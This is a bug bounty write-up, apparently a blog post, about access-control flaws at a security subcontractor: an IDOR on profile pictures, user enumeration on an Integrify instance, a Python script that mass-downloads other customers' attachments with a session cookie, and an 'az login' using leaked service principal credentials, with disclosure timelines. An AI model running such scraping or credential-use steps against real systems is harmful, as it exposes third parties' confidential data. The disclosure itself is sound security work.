Bug bounty — Cybersecurity subcontractor exposes business data to other customers

Clément
7 min readJun 6, 2024

--

Before reading any further, feel free to check my personnal blog where I initialy post those articles. Have a nice reading.

Introduction

At the time of the discovery, I worked as a security analyst, to handle security incidents and other operational activities. In order to generate and manage those security incidents, the company subscribed to a SOC service proposed by REDACTED. Initialy, REDACTED was not a security company, and their current website doesn’t even mention their cybersecurity services, yet they are spread accross many companies with their cybersecurity services, at least in France.

Technically, I had an Azure AD (Entra ID) created on my customer tenant, and then this account was synced to REDACTED tenant. Note that is this not an Azure AD B2B relationship as there is no SSO here : I had different passwords to connect to my customer account or the REDACTED one. Anyways, thanks to this synchronization, I had access to the incident platform to handle incidents.

Before reading the next section, keep in mind is that all identified vulnerabilities require a user account in REDACTED’s tenant. Therefore a limited set of people could exploit those vulnerabilities, which represent around 100,000 user accounts (subcontractors, partners, customers, employees).

Security issues

First case — Incident platform

The first time I accessed the incident platform, I decided to hunt for bugs. The most critical scenario would be to access REDACTED other customers data and see all their security incidents, but (un)fortunately, I wasn’t able to achieve that. After a few minutes, I took a look at my profile and saw that I could access any profile picture with a URL that looked like this : https://incidentplatform.redacted.com/secure/useravatar?ownerId=JIRAUSER12345 : a basic IDOR that allowed me to access a vast amount of profile picture (without EXIF data), making REDACTED not GDPR-compliant, since users were not informed that their personal information (their face in that case) would be shared between all REDACTED customers.

Responsible disclosure

  • 06/11/2023 — Report sent
  • 06/11/2023 — Report acknowledged
  • 30/11/2023 — Fixed

Second case — Integrify

User enumeration

After writing a short report about the previous issue, I spent a lot of time looking for an appropriate email address such as security@redacted.com, which lead me to use Google dorks. By Google dorking about this company, I found various subdomains and web applications, and I decided to hunt for more bugs!

I discovered a subdomain hosting an Integrify instance, which is an application dedicated to workflows as far as I can tell. I didn’t try to understand the application business at first, and I simply noticed that a feature allowed me to send messages to people, and thus to search for people in a directory.

After some guessing and research, I was able to identify a second API endpoint to enumerate users. I don’t know what’s the difference between the two, but the first one returns 94k users, while the second one returns 50k users. All of these users are employees, but also partners, subcontractors and customers.

Documents enumeration

Attachments

When sending messages to people using the application, it is also possible to attach files. So I started scratching there and intercepting requests. As you can see below, this request looks for comments in a specific instance and returns a JSON object containing our comment and attachment. I don’t know what an instance is, but having a business knowledge of the application was not my goal since I hadn’t much time to spend on it.

The JSON doesn’t return any download URL. Instead we only have a SID. In order to get the download URL, we need to use an API endpoint, which will redirect to the download URL. As described on the documentation, we need several parameters here :

  • owner_type, which will always be set to instance
  • owner_sid, which is the instance SID
  • object_type, which will always be set to comment
  • object_sid, which is the file SID

Actually, when clicking on the attachment and intercepting requests, another undocumented API endpoint is used, and behaves the same way, so we have two entry points to retrieve documents.

Now that we know how to get attachments, we simply need to get the list of all instances, automate that, and it should work! According to the documentation, there is an API endpoint that allows to enumerate all instances where the current user has monitor permissions. Let’s see what we get by sending a request to it.

I spent some time reading the documents names (hidden on the picture), and I knew this was juicy stuff. In addition, there is a total of 112k instances, so we probably will get many attachments available.

I wrote a short script that will iterate over all instances fetch attached files :

import requests
import json

# Sanitized short list of instances which contains attachments
instance_ids = [
"12345678-1234-1234-1234-123456789012",
# ... ,
"12345678-4321-4321-4321-123456789012"
]

# Iterate over all instances
for instance_id in instance_ids:
# Send request and read response
url = 'https://redacted.com/napi/instances/' + instance_id + '/comments/'
cookies = {'iapi_token':'access%26oauth_token%3D123456789%26oauth_token_secret%3D00000'}
response = requests.get(url, cookies=cookies)

# Just in case
if not "AttachmentName" in response.text:
continue

# Read JSON response (also possible with response.json())
data = json.loads(response.text)
for item in data['Items']:
# Get data, and jump to next iteration if no attachment, we never know
subject = item['Subject']
date = item['CommentDate']
attachments = item['Attachments']
if not attachments:
continue

# Iterate over all attachments for a given intsance
for attachment in attachments:
name = attachment['AttachmentName']
sid = attachment['AttachmentSID']

# Write CSV to get a summary
row = '||'.join(str(instance_id), str(subject), str(date), str(name), str(sid)) + '\n'
with open('attachments_table.csv', 'a', encoding="utf-8") as f:
f.write(row)

# Fetch and store file
url = 'https://redacted.com/rest-service/files/stream/?owner_sid=' + instance_id + '&owner_type=instance&object_sid=' + sid + '&object_type=comment'
cookies = {'iapi_token':'access%26oauth_token%3b123456789%26oauth_token_secret%3D00000'}
response = requests.get(url, cookies=cookies)

with open('./ATTACHMENTS/' + name, 'wb') as attachment_file:
attachment_file.write(response.content)
print("writen")

I ran this script on only 30 instances, and I retrieved approx. 50 documents (PDFs, XLSXs, MSGs, and DOCXs) which contain business data i.e. customers and partners data.

Other documents

A last word about documents : according to Integrify API documentation, there are attachment, but there are also files associated to an instance that are not attachments. So let’s try to request this endpoint! Long story short : we simply have the opportunity to download more and more files.

Responsible disclosure

  • 4/12/2023 — Report about user enumeration sent
  • 12/12/2023 — No answer, follow up
  • 30/04/2024 — No answer, follow up
  • 24/05/2024 — No answer, follow up and adding report about documents enumeration
  • 31/06/2024 — No answer, follow up

At this point I was still trying to find an email address to send my report, but again I discovered a subdomain with a directory listing, and I decided to hunt for more bugs. The root directory contained approximately ten directories with only a few that I could access. All the content was identity-related, with folders and files named like SSO, SAML and so on. One of the directories contained a whole C# project folder, including only compiled files :

I began to look for strings inside the DLL to understand what it is used for, and when parsing printable characters only, I ended up with a string corresponding to Azure AD (Entra ID) Service Principal credentials that are still valid i.e. a tenant ID, a client ID (or application ID) and of course a secret.

I used Azure CLI to connect to the service principal using the command below, and started recon on Azure.

az login --service-principal -u '1234abcd-1234-1234-1234-1234abcd1234' -p 'xxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxqWQ==' --tenant '1234abcd-4321-4321-4321-1234abcd1234' --allow-no-subscriptions

The service principal was related to a web application that was not accessible, either because of network filtering or because it was retired. Thus, I was not able to do much with it : no subscription available and no directory permissions. The only exploit would be to interact with the web application, but as mentioned, it was not accessible.

Responsible disclosure

  • 06/11/2023 — Report sent
  • 06/11/2023 — Report acknowledged
  • 30/11/2023 — Follow up because not properly fixed
  • Now — Fixed

Conclusion

So what happened? A security company that proposes SOC services “invited” thousands of users in their directory (including me), giving them access to confidential information about other customers, which are not cybersecurity-related, but probably even more confidential. This is how Identity and Access Management (IAM) is important!

Thanks for reading.

--

--

Clément

I am a cybersecurity engineer, mainly working on Microsoft solutions.